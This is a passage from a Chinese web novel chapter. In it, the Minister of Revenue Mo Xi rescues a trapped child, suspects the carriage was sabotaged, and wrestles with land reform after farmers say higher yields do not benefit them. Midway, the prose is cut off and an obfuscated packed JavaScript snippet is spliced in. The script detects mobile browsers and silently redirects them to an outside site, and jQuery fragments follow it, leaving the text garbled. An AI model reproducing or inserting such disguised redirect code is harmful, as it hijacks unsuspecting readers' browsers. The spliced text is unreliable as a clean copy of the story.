莫惜看了一眼周围人的衣服。


    这一圈粗衣麻布，也不知道发的新衣服为什么都不穿。


    “林四！”


    莫惜大喊一声，已经跟着出门的林四应了一声。


    她留下一句“安抚孩子”，回头迎过去，二话不说开始扒林四的大氅。


    “诶诶诶！”


    不顾林四反对，户部尚书将大氅扔给百姓，再从金剑手中拿过自己的衣服。


    将两件衣服的底角系在一起，然后让金剑用他吃奶的劲拉紧。


    “你们俩去那边墙上。”


    莫惜指着马车侧翻后的墙角。


    让金剑牵着大氅一侧跳上去。


    她则牵着另一侧走到马车旁。


    户部尚书弯下腰，旁边百姓不知道她要干什么，早给她腾出地方。


    “头和背疼吗？”是问已经被安抚得没再哭的孩子。


    孩子应该是仔细感受了一下，回给莫惜一个“不疼”。


    莫惜招手：“先抬起来一点。”


    有人想要阻拦，毕竟还怕有东西落下。


    但其他几人已经上手，给莫惜腾出了一个能将衣服塞进去的空隙。


    金剑瞬间领悟，在墙头上来了个倒挂金钟配合莫惜的动作。


    莫惜试探着往进送，主要也是为了排除有碎裂的木板插在孩子身体上，到时候拽会造成二次伤害。


    还好这孩子还算命好，碎木板都还留在车上没有落下来，衣服一路畅通无阻兜住马车，只剩下压住孩子的那一部分没办法。


    “再抬高点把人拽出来。”


    众人七手八脚。


    孩子被拽出来的瞬间，他母亲嗷一嗓子便扑了过去。


    抱住孩子又开始哭。


    莫惜长出一口气坐在地上，松开衣服，将其交给金剑。


    刚才不知道受什么影响，她直接冲了出来。


    身上的汗被风吹得只剩凉意。


    她自嘲地笑起来，换做上一世的她绝对不会这么急。


    她转头看了一眼走过来的金剑，眼神落在他怀里两件大氅上——几乎被碎木板穿地支离破碎，但凡换其他人的衣服，可能就直接碎掉了。


    扶着银剑伸出来的胳膊，莫惜拍拍身上的土站起身，回头对上了屈景昭远望过来的眼神，他站在院门口，旁边站着一个给他开门的灾民。


    莫惜也不管这距离屈侍郎能不能看见，对着他点了点头，招呼林四走回堂屋。


    门在莫惜身后被风吹上，“啪”一声，隔绝了外面的声音，留下风跑过的呜呜声。


    “看来大人今晚只能避居寒舍了。”


    门被关上，林四坐在最后一排的凳子上，开口调笑。


    还支使银剑去后屋给他拿了一壶茶。


    莫惜懒得理他，随口说了句“有劳”便开始打量起这间“教室”。


    说是打量屋子，但她脑子里只有刚才那辆马车。


    真想把大理寺卿带过来。


    “那马车是你家的吗？”


    莫惜冷不丁开口。


    “是。但刚买回来，是新的。”


    林四像是早有准备。莫惜话音未落他便开口。


    新的，那轮子掉了更不可能是意外——轮子若不掉便不会撞到孩子。


    只是做手脚那人可能也不知道今晚有暴风。那这是是冲着林四来的？


    户部尚书狐疑地抬头看了一眼正举杯欣赏茶杯那位。


    这活在这应该是州牧查。


    但州牧可以说是尸骨未寒，户部尚书准备等天稍微晴一些时候，去找燕北王叫他快提个人上来。


    “还有问题吗？”


    林四倒是催起她。


    莫惜没理他。


    就算想查，今天这天气也无从下手。


    于是他看见林四举起一只手：“我有问题。”


    户部尚书认可地点点头。


    林四：？


    你才有问题。


    “温室即使现在建成也没有太大效用，还需等春耕，但燕北粮产逐年减少，温室不能解决根本问题。”


    莫惜眉梢瞬间挑起。


    脸色认真下来。


    这说书先生还对燕北农业蛮了解的。


    “我看过了，燕北土壤有问题。此处一年一熟的粮食本该是我朝最贵重的，却连年减产降价。”


    “等雪停下来我带着他们去种豆子。应该可以稍微改善明年的土地。”


    林四点点头：“但燕北气候下，尤其暴雪过后，能生长的豆子应该不多。”


    户部尚书轻笑一声：“来之前已经让人着手准备了。”


    燕北减产她前世便知，路上接近燕北之后，她稍微估计了一下燕北的气温，随后便派人大规模去寻这种可以在低温下生长的“羽扇豆”，可以大程度改善土壤。


    不出意外，派出去的人这两天也该回来了。


    “我可以和你一起去吗？”


    林四眼里好像闪着细碎的光。


    莫惜歪头。


    “为何？”


    林四扬扬下巴：“没种过地，想去体验一下。”


    莫惜深以为然，这人倒是坦诚。


    “但你得先做我的教书先生。”


    识文断字的资源不用白不用。


    林四叹了口气，点点头：“我就知道。”


    于是翌日，林四让灾民们趁着风雪稍微减弱，从自己的屋子挪到教室里。


    拿着莫惜昨夜连夜赶出的“教材”，林四是这么称呼的。


    站在“讲台”上给灾民普及怎么种地。


    莫惜带着兜帽式的斗篷，坐在最后一排角落里。


    但灾民可不愿意了。


    这些人显然之前就听过林府的东家，知道这位之前也是十指不沾阳春水。


    这样的人教他们如何种地？


    现在读书人都这么自大吗？


    “先生，我们感谢您和钦差老爷给了我们容身之所，但这种地……还是各有所长吧。”


    “您要是想种地，以后林府的地，我们不要工钱也帮您种了。”


    “是啊。”


    “就是。”


    有带头的，就有起哄的。


    莫惜从后座站起来，走到台前。


    不如自己来。


    这说书先生吹自己受过什么高等教育，习惯这种教授方式，但那也不能服众。


    户部尚书接过林四手中的教材，站在台上面对众人。


    反正她有系统技能呢。


    “众位信我吗？”


    “当然信了！”


    “您可是青天大老爷！”


    灾民毫不停顿。


    莫惜：……到底谁教的。


    “我是户部尚书，幼年也曾下田种地，这些经验，”莫惜举起手里那一沓纸，“是我亲自总结，确有帮助。当然，若诸位觉得有何不妥，自然可以提出，但我思想为大家更好。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832539|158884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>台下沉寂。


    莫惜刚要觉得系统抽风，关键时刻不顶用时，有人举手小声开口：“那大人教的这些有什么用呢？”


    户部尚书皱眉不解：“自然是为了粮食增产。”


    那人再次开口：“可增产对我们没有好处啊。”


    莫惜僵住。


    是啊，粮食增产对大雍，对官员，对地主都好。


    可农民付出一样的劳动，甚至这大冬天的，还要被莫惜带出去耕种增加劳动量——他们并没有多获得钱财和粮食，没有获得任何益处。


    他们生产出的粮食都要交给地主，上交朝廷，能分到自己手中的只有那固定的寥寥。


    户部尚书慢慢垂下手。


    她有一瞬间想强制这些农民学习，强制他们出去耕种。


    可上次强制的结果是什么来着？


    诬陷，背叛，死亡。


    她隐约觉得这好像是不对的。


    或许想其他办法呢，强迫他们的确可以简简单单完成任务，但事情做都做了总要有效吧。


    “是我思虑不周，大家放心，我会让大家有好处的。”


    灾民倒是善解人意：


    “不必大人，靠您自己想解决太难了，我们都习惯了，祖祖辈辈都是这样。”


    “是啊，我们有好处，那那些当官的好处不就少了吗。”


    也有人：


    “我才不信，就是说说而已，不让自己落下面子吧。”


    “我看也是。她敢和王爷对着干？”


    这回系统应该是真卡壳了。


    莫惜转身，从教室后面出去，冒着风雪走回后院。


    金剑连忙跑过来，以防身板不太结实的尚书大人被风吹飞。


    后面银剑跟着林四，坠在莫惜身后。


    尚书大人现在脑子里空空如也。


    系统要她带燕北灾民春耕。


    但有她没她都可以的春耕，可以算作是她带领的吗？


    系统这个惩罚是真的吗？会不会继续在惩罚的时候卡壳？


    若真是要她参与——按她放下的大话。


    势必要更改法度。


    等下，这不就是改革吗？


    这不就是她前世参加科考的志向吗？


    莫惜轻哂。


    初心都忘了，只记得复仇。


    她回头看向正拍打身上积雪的林四没言语。


    “系统，我需要利于农民的改革制度。”


    莫惜还准备再和系统掰扯一会的，却发现这次系统学聪明了，根本不理她。


    “系统？”


    莫惜咬牙切齿。


    被她盯着的林四莫名其妙。


    “不能因为我没做成教书先生你就要吃了我啊！”


    尚书大人赏给他一个白眼吃。


    灾民要求的是利益，分割官员富农的土地交给灾民是最好的解决方法。


    但这些官员并没有错处，更不会轻易交出田产。


    更何况，如此下来，除了粮食增产，对大雍也没有什么实质性的好处，改革无效。


    况且，若要改革，非得见血不可。


    此事燕北王未必帮忙，毕竟若是实行到最后，这位王爷的田产也不能幸免。


    莫惜倒是没想到，她和燕北王刚谈定的“合作”，这才几天便要土崩瓦解。


    既然如此，只有一样东西能帮她了。


    户部尚书再次转回头，看向正打哈欠的林四。